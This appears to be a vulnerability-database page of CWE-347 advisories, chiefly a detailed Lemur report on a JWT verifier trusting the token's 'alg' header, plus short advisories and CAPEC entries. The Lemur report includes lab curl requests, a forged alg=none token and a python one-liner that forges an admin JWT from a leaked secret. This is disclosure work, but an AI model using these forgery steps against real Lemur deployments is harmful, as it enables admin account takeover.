- Log the algorithm the server actually applied, separately from the algorithm in the token header. This lets audit tooling see "the server enforced HS256 and the token claimed HS256" or, post-fix, "the server enforced RS256 and the token claimed HS256 — rejected", and flag mismatches.
- Pin
algorithmsto the smallest possible set. If Lemur only ever issues HS256, accept only HS256. Don't list every supported algorithm just because the library supports it. - Migrate to asymmetric signing in a separate hardening PR once the algorithm pin is in. RS256 with key rotation removes the "leaked secret = forge admin" chain entirely.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55165"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T22:05:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "\u003c!-- obsidian --\u003e\u003ch1 data-heading=\"Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header \u2014 defense-in-depth gap; chain-dependent ATO with secret disclosure\"\u003eLemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header \u2014 defense-in-depth gap; chain-dependent ATO with secret disclosure\u003c/h1\u003e\n\u003ch2 data-heading=\"Vulnerability Summary\"\u003eVulnerability Summary\u003c/h2\u003e\n\nField | Value\n-- | --\nTitle | Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header \u2014 defense-in-depth gap; chain-dependent ATO with secret disclosure\nComponent | lemur/lemur/auth/service.py:130-137\nCWE | CWE-347 (Improper Verification of Cryptographic Signature)\nAttack Prerequisite | Defense-in-depth gap on its own \u2014 no single-request exploit against PyJWT 2.x. Single-request ATO requires a separate disclosure issue that leaks LEMUR_TOKEN_SECRET, or a future migration to asymmetric signing without fixing this sink.\nAffected Versions | github.com/Netflix/lemur __version__ = \"1.9.0\". Same code present in every prior release that has the auth/service.py:130 block.\n\n\n\u003ch2 data-heading=\"Executive Summary\"\u003eExecutive Summary\u003c/h2\u003e\n\u003cp\u003eThe Lemur JWT verifier reads the \u003ccode\u003ealg\u003c/code\u003e header field from the \u003cem\u003eunverified\u003c/em\u003e token and passes it straight into \u003ccode\u003epyjwt.decode(..., algorithms=[header[\u0027alg\u0027]])\u003c/code\u003e. This is a classic JWT antipattern: the server is supposed to pin the algorithm, not the attacker. PyJWT 2.x\u0027s default config rejects \u003ccode\u003ealg=none\u003c/code\u003e, so this is not a single-request ATO today \u2014 I want to be precise about that. The bug is a hardening gap with two real consequences. First, if the deployment ever migrates to asymmetric signing (RS256/ES256), an attacker can pin \u003ccode\u003ealg=HS256\u003c/code\u003e and forge tokens using the public key as the HMAC secret \u2014 the legacy \"RS256\u2192HS256 confusion\" trick. Second, the audit-log surface that records \u003ccode\u003ealg\u003c/code\u003e to flag anomalous tokens is filled in from the attacker\u0027s header, so anomaly detection is blinded. I\u0027m submitting this honestly at MEDIUM 4.8 (defense-in-depth) rather than inflating it; the chain to single-request ATO is documented but it depends on a separate disclosure bug.\u003c/p\u003e\n\u003cp\u003eWalkthrough: \u003ca href=\"https://asciinema.org/a/2Blv9r4DoOleUk7a\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/2Blv9r4DoOleUk7a\u003c/a\u003e\u003cbr\u003e\n\u003chr\u003e\n\u003ch2 data-heading=\"Description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003elemur/lemur/auth/service.py:130-137\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003etry:\n header_data = fetch_token_header(token)\n payload = decode_with_multiple_secrets(\n token, token_secrets, algorithms=[header_data[\"alg\"]]\n )\nexcept jwt.DecodeError:\n return dict(message=\"Token is invalid\"), 403\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003efetch_token_header\u003c/code\u003e decodes the JWT\u0027s first segment (base64-decoded JSON, no signature check) and returns the header object. \u003ccode\u003eheader_data[\"alg\"]\u003c/code\u003e is whatever the bearer of the token put there. That value is then handed to \u003ccode\u003edecode_with_multiple_secrets\u003c/code\u003e, which calls \u003ccode\u003epyjwt.decode(..., algorithms=[\u0026#x3C;attacker_value\u003e])\u003c/code\u003e. The \u003ccode\u003ealgorithms\u003c/code\u003e parameter is meant to be the server\u0027s pinned allowlist of acceptable signing algorithms \u2014 the line that says \"I will accept HS256 and nothing else\". By reading it from the token, Lemur asks the attacker which algorithm to trust.\u003c/p\u003e\n\u003cp\u003eWhy this is MEDIUM and not CRITICAL today: PyJWT 2.x\u0027s \u003ccode\u003edecode()\u003c/code\u003e rejects \u003ccode\u003ealg=none\u003c/code\u003e regardless of the \u003ccode\u003ealgorithms\u003c/code\u003e parameter (PyJWT enforces this in \u003ccode\u003ejwt.algorithms.NoneAlgorithm.verify\u003c/code\u003e). I confirmed this in the lab \u2014 a forged \u003ccode\u003ealg=none\u003c/code\u003e token comes back as \u003ccode\u003eHTTP 403 {\"error\":\"When alg = \\\"none\\\", key value must be None.\",\"message\":\"Failed to decode token\"}\u003c/code\u003e. The classic single-request \u003ccode\u003ealg=none\u003c/code\u003e ATO is closed by the library, not by Lemur.\u003c/p\u003e\n\u003cp\u003eWhy this still matters:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAlgorithm confusion is exactly what \u003ccode\u003ealgorithms=\u003c/code\u003e is supposed to prevent.\u003c/strong\u003e The widely-cited \"RS256\u2192HS256 confusion\" attack works by pinning \u003ccode\u003ealg=HS256\u003c/code\u003e and using the RS256 public key as the HMAC secret. The fix everyone teaches for that attack is \"server pins the algorithm\". Lemur doesn\u0027t, so the protection has a hole the moment the deployment moves to asymmetric signing.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThe PyJWT 2.x mitigation is a library default, not a Lemur design choice.\u003c/strong\u003e A future PyJWT major that loosens the \u003ccode\u003enone\u003c/code\u003e check, or a downgrade to a vulnerable PyJWT for any reason, re-opens single-request ATO. Defense-in-depth means not relying on library defaults to backstop the framework\u0027s own validation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit blindness.\u003c/strong\u003e Logging tooling that consumes \u003ccode\u003ealg\u003c/code\u003e to detect \"this token claims an algorithm we don\u0027t issue\" sees only what the attacker put in the header. A real \u003ccode\u003eHS256\u003c/code\u003e token forged by an attacker who pins \u003ccode\u003ealg=ES256\u003c/code\u003e (or any garbage that survives \u003ccode\u003edecode\u003c/code\u003e) bypasses naive alg-based anomaly heuristics.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThe chain to single-request ATO is short.\u003c/strong\u003e Any separate disclosure issue that leaks \u003ccode\u003eLEMUR_TOKEN_SECRET\u003c/code\u003e (a debug page, an unguarded \u003ccode\u003e/metrics\u003c/code\u003e, an SSRF-to-config, an S3 backup leak, a git history accident) immediately turns into HS256 forgery \u2014 and the alg-from-header sink leaves the verifier downgradeable even after an operator migrates to RS256 later.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eI\u0027m framing this as a hardening defect at MEDIUM 4.8 because that\u0027s what the evidence supports. The chain step (config disclosure \u2192 forge admin) is demonstrated in the lab as a clear \"what happens if this chain links\" walk-through, not as a primary claim.\u003c/p\u003e\n\u003ch2 data-heading=\"Proof of Concept \u0026#x26; Steps to Reproduce\"\u003eProof of Concept \u0026#x26; Steps to Reproduce\u003c/h2\u003e\n\u003cp\u003eWalkthrough: \u003ca href=\"https://asciinema.org/a/2Blv9r4DoOleUk7a\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/2Blv9r4DoOleUk7a\u003c/a\u003e. Offline cast: \u003ccode\u003elemur_jwt_alg_hardening.cast\u003c/code\u003e. Harness: \u003ccode\u003elemur_jwt_alg_hardening/support/\u003c/code\u003e (\u003ccode\u003elemur_jwt_mock.py\u003c/code\u003e mirrors \u003ccode\u003elemur/auth/service.py:130-137\u003c/code\u003e line-for-line).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites\u003c/strong\u003e: Docker, \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ejq\u003c/code\u003e, \u003ccode\u003epython3\u003c/code\u003e with PyJWT.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eRun\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecd lemur_jwt_alg_hardening/\nEXPLOIT_FAST=1 ./exploit_code.sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3 data-heading=\"Step 1 \u2014 Baseline legitimate login\"\u003eStep 1 \u2014 Baseline legitimate login\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18001/api/1/auth/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"operator@netflix.example\"}\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/03_login_response.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\"token\":\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....\",\n \"user\":{\"active\":true,\"email\":\"operator@netflix.example\",\"id\":1,\"role\":\"operator\"}}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003e/api/1/users/me\u003c/code\u003e with that token returns 200 \u2014 baseline auth path works.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 2 \u2014 Confirm the antipattern in source\"\u003eStep 2 \u2014 Confirm the antipattern in source\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003edocker exec lemur-jwt-alg-hardening-harness cat /app/evidence-src/jwt_sink.txt\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOutput is the verbatim Lemur block:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# lemur/lemur/auth/service.py:130-137\ntry:\n header_data = fetch_token_header(token)\n payload = decode_with_multiple_secrets(\n token, token_secrets, algorithms=[header_data[\"alg\"]] # \u0026#x3C;-- antipattern\n )\nexcept jwt.DecodeError:\n return dict(message=\"Token is invalid\"), 403\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe mock applies the same code path. No transformation, no allowlist, no server pin.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 3 \u2014 Forge \u0026#x60;alg=none\u0026#x60; (PyJWT 2.x rejects)\"\u003eStep 3 \u2014 Forge \u003ccode\u003ealg=none\u003c/code\u003e (PyJWT 2.x rejects)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -o /dev/null -w \u0027HTTP %{http_code}\n\u0027 \\\n http://127.0.0.1:18001/api/1/users/me \\\n -H \u0027Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAyLCAiZW1haWwiOiAiYWRtaW5AbmV0ZmxpeC5leGFtcGxlIn0.\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/05_alg_none_attempt.json\u003c/code\u003e): \u003ccode\u003eHTTP 403\u003c/code\u003e. Body: \u003ccode\u003e{\"error\":\"When alg = \\\"none\\\", key value must be None.\",\"message\":\"Failed to decode token\"}\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis is honest: PyJWT 2.x closes the single-request \u003ccode\u003ealg=none\u003c/code\u003e path. The antipattern is not directly exploitable at this PyJWT version.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 4 \u2014 Chain demo: config disclosure \u2192 HS256 forgery\"\u003eStep 4 \u2014 Chain demo: config disclosure \u2192 HS256 forgery\u003c/h3\u003e\n\u003cp\u003eThe lab simulates an upstream disclosure issue by \u003ccode\u003edocker exec\u003c/code\u003e-ing into the container and reading \u003ccode\u003e/app/lemur.conf.py\u003c/code\u003e. In production this corresponds to any of: a \u003ccode\u003e/metrics\u003c/code\u003e page that echoes config, a debug error that prints \u003ccode\u003ecurrent_app.config\u003c/code\u003e, an SSRF that reaches \u003ccode\u003efile:///app/lemur.conf.py\u003c/code\u003e, a misindexed git history, an S3 backup with the config file. The lab does not invent a separate vulnerability \u2014 it documents what happens \u003cem\u003ewhen one of those exists\u003c/em\u003e.\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003edocker exec lemur-jwt-alg-hardening-harness cat /app/lemur.conf.py\n# LEMUR_TOKEN_SECRET = \u0027lab-deploy-token-secret-DO-NOT-USE-IN-PROD-aabbccdd11\u0027\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eForge an admin JWT with the leaked secret:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003epython3 -c \"import jwt; print(jwt.encode({\u0027sub\u0027:2,\u0027email\u0027:\u0027admin@netflix.example\u0027}, \u0027\u0026#x3C;leaked\u003e\u0027, algorithm=\u0027HS256\u0027))\"\n# eyJhbGciOiJIUzI1NiIs...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSend it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS http://127.0.0.1:18001/api/1/users/me \\\n -H \"Authorization: Bearer $FORGED_ADMIN\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/06_forged_admin_response.json\u003c/code\u003e):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\"payload\":{\"email\":\"admin@netflix.example\",\"sub\":2},\n \"user\":{\"active\":true,\"email\":\"admin@netflix.example\",\"id\":2,\"role\":\"admin\"}}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eHTTP 200, \u003ccode\u003erole=admin\u003c/code\u003e. The forgery succeeds because (a) the attacker picked \u003ccode\u003ealg=HS256\u003c/code\u003e, (b) the server didn\u0027t pin its own algorithm, and (c) the secret was disclosed by the separate upstream issue. If the alg-from-header sink were fixed, even a leaked HS256 secret would not extend to whatever asymmetric algorithm the operator migrates to next \u2014 the attacker would have to also break the asymmetric key.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 5 \u2014 Verdict\"\u003eStep 5 \u2014 Verdict\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eVERDICT: ANTIPATTERN CONFIRMED \u2014 chain-dependent ATO\n1. lemur/auth/service.py:130-137 passes attacker-controlled alg into decode()\n2. PyJWT 2.x rejects alg=none, so the antipattern is NOT directly exploitable\n3. Chained with upstream config disclosure \u2192 HS256 forgery wins\n\u003c/code\u003e\u003c/pre\u003e\n\n# Exploit Code \u0026 Lab Set-up\n\n[Lemur-jwt-alg-hardening.zip](https://github.com/user-attachments/files/28317909/Lemur-jwt-alg-hardening.zip)\n\n\n\u003ch2 data-heading=\"Root Cause Analysis\"\u003eRoot Cause Analysis\u003c/h2\u003e\n\u003cp\u003eThe pattern in \u003ccode\u003eauth/service.py:130-137\u003c/code\u003e is what every JWT-library author warns against. \u003ccode\u003epyjwt.decode\u003c/code\u003e\u0027s \u003ccode\u003ealgorithms\u003c/code\u003e parameter exists precisely to pin the server\u0027s accepted set; the documentation calls out that callers should never pass the value from the token header. The author of this block likely intended to support multiple deployment configurations (some on HS256, some on RS256) and dispatched on the token\u0027s claimed algorithm \u2014 but the right way to do that is \u003ccode\u003ealgorithms=current_app.config[\"JWT_ACCEPTED_ALGS\"]\u003c/code\u003e (a server-pinned list), not \u003ccode\u003ealgorithms=[header_data[\"alg\"]]\u003c/code\u003e (the attacker\u0027s preference).\u003c/p\u003e\n\u003cp\u003eThe PyJWT 2.x mitigation is the only thing standing between this code and a single-request \u003ccode\u003ealg=none\u003c/code\u003e ATO. That mitigation lives in PyJWT\u0027s \u003ccode\u003eNoneAlgorithm.verify\u003c/code\u003e, which raises \u003ccode\u003eInvalidKeyError\u003c/code\u003e when \u003ccode\u003ealg=none\u003c/code\u003e is supplied with a non-None key. Lemur passes a real key, so the path raises and Lemur catches it as \u003ccode\u003ejwt.DecodeError\u003c/code\u003e and returns 403. Good \u2014 but the protection is in the dependency, not in Lemur\u0027s code. A PyJWT-1.x backport, an accidental downgrade, or a future PyJWT behaviour change re-opens the door.\u003c/p\u003e\n\u003cp\u003eThe RS256\u2192HS256 confusion variant is the more durable concern. If an operator migrates Lemur from HS256 to RS256 \u2014 a normal hardening step \u2014 the attacker pins \u003ccode\u003ealg=HS256\u003c/code\u003e in the header and uses the RS256 \u003cem\u003epublic key\u003c/em\u003e as the HMAC secret. PyJWT 2.x\u0027s \u003ccode\u003edecode_complete\u003c/code\u003e does call \u003ccode\u003e_verify_signature\u003c/code\u003e with the supplied algorithm, and if the algorithm is HS256 and the \"secret\" is the bytes of the RS256 public key, the verifier passes. The fix is a server-pinned algorithm list; if the server only accepts \u003ccode\u003e[\"RS256\"]\u003c/code\u003e, an attacker-supplied \u003ccode\u003ealg=HS256\u003c/code\u003e token fails at the \u003ccode\u003ealgorithms\u003c/code\u003e check before any key material is consulted.\u003c/p\u003e\n\u003cp\u003eThe MEDIUM 4.8 score honestly reflects what\u0027s exploitable today: the antipattern is real, the impact today is limited to (a) audit-log blinding and (b) a downgrade primitive that activates under separate conditions. I\u0027m explicitly not claiming RS256\u2192HS256 against current Lemur because Lemur today is HS256 \u2014 the \"RS256 \u2192 HS256\" trick doesn\u0027t apply because Lemur\u0027s secret arg is HMAC bytes, not an RSA pubkey. The fix is still worth making.\u003c/p\u003e\n\n\u003ch2 data-heading=\"Attack Scenario\"\u003eAttack Scenario\u003c/h2\u003e\n\n```mermaid\nsequenceDiagram\n participant Attacker\n participant Lemur as Lemur API\n participant Disclosure as Disclosure surface\n participant Audit as Audit logging\n\n Note over Attacker,Lemur: \"Today: PyJWT 2.x mitigation holds for alg=none\"\n Attacker-\u003e\u003eLemur: \"Bearer alg=none token with [payload]\"\n Lemur-\u003e\u003eLemur: \"pyjwt.decode raises (alg=none + non-None key)\"\n Lemur--\u003e\u003eAttacker: \"403 Forbidden\"\n\n Note over Disclosure,Lemur: \"Chain step: separate disclosure leaks LEMUR_TOKEN_SECRET\"\n Attacker-\u003e\u003eDisclosure: \"trigger debug / SSRF / backup leak\"\n Disclosure--\u003e\u003eAttacker: \"LEMUR_TOKEN_SECRET value\"\n\n Note over Attacker,Lemur: \"Forge HS256 admin token with leaked secret\"\n Attacker-\u003e\u003eLemur: \"Bearer alg=HS256 admin token signed with leaked secret\"\n Lemur-\u003e\u003eLemur: \"algorithms=[HS256] (taken from header) \u2014 accepted\"\n Lemur--\u003e\u003eAttacker: \"200 OK, role=admin\"\n\n Note over Audit: \"alg=HS256 in audit log - no anomaly flag because attacker picks alg\"\n```\n\n\u003ch2 data-heading=\"Impact Assessment\"\u003eImpact Assessment\u003c/h2\u003e\n\u003cp\u003eToday, in a fully-patched Lemur 1.9.0 on PyJWT 2.x, the standalone impact is C:L (audit-log surface is attacker-influenced) / I:L (an attacker who controls \u003ccode\u003ealg\u003c/code\u003e can downgrade a future verifier upgrade) / A:N. The vector requires no user interaction \u2014 the attacker just sends a crafted token directly \u2014 but AC:H reflects the real-world conditions that have to align (PyJWT version, future migration to asymmetric signing, or a separate disclosure issue) before standalone impact materializes. That\u0027s the 4.8 MEDIUM score. The chain step to single-request ATO depends on a separate disclosure issue, which I\u0027m not claiming as part of this report.\u003c/p\u003e\n\u003cp\u003eThe reason this is worth fixing now rather than later is that it\u0027s a one-line change with no behavioural risk, and the consequence of leaving it in place is a permanent downgrade vector against any algorithm migration Netflix later decides to do. Lemur\u0027s role in the certificate-signing pipeline makes its session tokens unusually high-value \u2014 anyone who forges a Lemur admin JWT can issue, revoke, and exfiltrate certificates across the org. The Lemur PKI compromise report submitted separately (ACME \u003ccode\u003eacme_url\u003c/code\u003e SSRF + creator IDOR) shows what an admin Lemur identity can do in practice.\u003c/p\u003e\n\u003cp\u003eIf Lemur ever moves to asymmetric signing without fixing this sink, the score moves to CRITICAL on the same day. Fix it now.\u003c/p\u003e\n\u003ch2 data-heading=\"Remediation\"\u003eRemediation\u003c/h2\u003e\n\u003cp\u003eOne-line server pin:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# lemur/lemur/auth/service.py:130-137\nallowed_algs = current_app.config.get(\"JWT_ALGORITHMS\", [\"HS256\"])\ntry:\n payload = decode_with_multiple_secrets(\n token, token_secrets, algorithms=allowed_algs\n )\nexcept jwt.DecodeError:\n return dict(message=\"Token is invalid\"), 403\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThree follow-ups worth doing at the same time:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eLog the algorithm the server actually applied, separately from the algorithm in the token header.\u003c/strong\u003e This lets audit tooling see \"the server enforced HS256 and the token claimed HS256\" or, post-fix, \"the server enforced RS256 and the token claimed HS256 \u2014 rejected\", and flag mismatches.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePin \u003ccode\u003ealgorithms\u003c/code\u003e to the smallest possible set.\u003c/strong\u003e If Lemur only ever issues HS256, accept only HS256. Don\u0027t list every supported algorithm just because the library supports it.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMigrate to asymmetric signing in a separate hardening PR\u003c/strong\u003e once the algorithm pin is in. RS256 with key rotation removes the \"leaked secret = forge admin\" chain entirely.\u003c/li\u003e\n\u003c/ol\u003e",
"id": "GHSA-r9gp-7f88-9r54",
"modified": "2026-06-25T22:05:17Z",
"published": "2026-06-25T22:05:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-r9gp-7f88-9r54"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": " Lemur: JWT verifier honors attacker-supplied alg, enabling ATO"
}
GHSA-R9HF-26XJ-X88V
Vulnerability from github – Published: 2026-09-04 00:31 – Updated: 2026-09-04 00:31Improper verification of cryptographic signature in Copilot Studio allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-80098"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-03T23:17:20Z",
"severity": "CRITICAL"
},
"details": "Improper verification of cryptographic signature in Copilot Studio allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-r9hf-26xj-x88v",
"modified": "2026-09-04T00:31:07Z",
"published": "2026-09-04T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80098"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-80098"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RF63-989X-X4X8
Vulnerability from github – Published: 2026-08-01 15:30 – Updated: 2026-08-01 15:30better-auth versions greater than 1.3.34 and before 1.4.0 contain a vulnerability in the multi-session plugin's /sign-out after-hook, which trusts raw multi-session cookies and forwards extracted values to internalAdapter.deleteSessions without verifying the cookie signature (e.g., via getSignedCookie). An attacker can supply a forged _multi-* cookie to trigger deletion of arbitrary session tokens.
{
"affected": [],
"aliases": [
"CVE-2025-71402"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-01T13:16:55Z",
"severity": "LOW"
},
"details": "better-auth versions greater than 1.3.34 and before 1.4.0 contain a vulnerability in the multi-session plugin\u0027s /sign-out after-hook, which trusts raw multi-session cookies and forwards extracted values to internalAdapter.deleteSessions without verifying the cookie signature (e.g., via getSignedCookie). An attacker can supply a forged _multi-* cookie to trigger deletion of arbitrary session tokens.",
"id": "GHSA-rf63-989x-x4x8",
"modified": "2026-08-01T15:30:23Z",
"published": "2026-08-01T15:30:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-wmjr-v86c-m9jj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71402"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/better-auth-before-session-revocation-via-forged-cookie"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.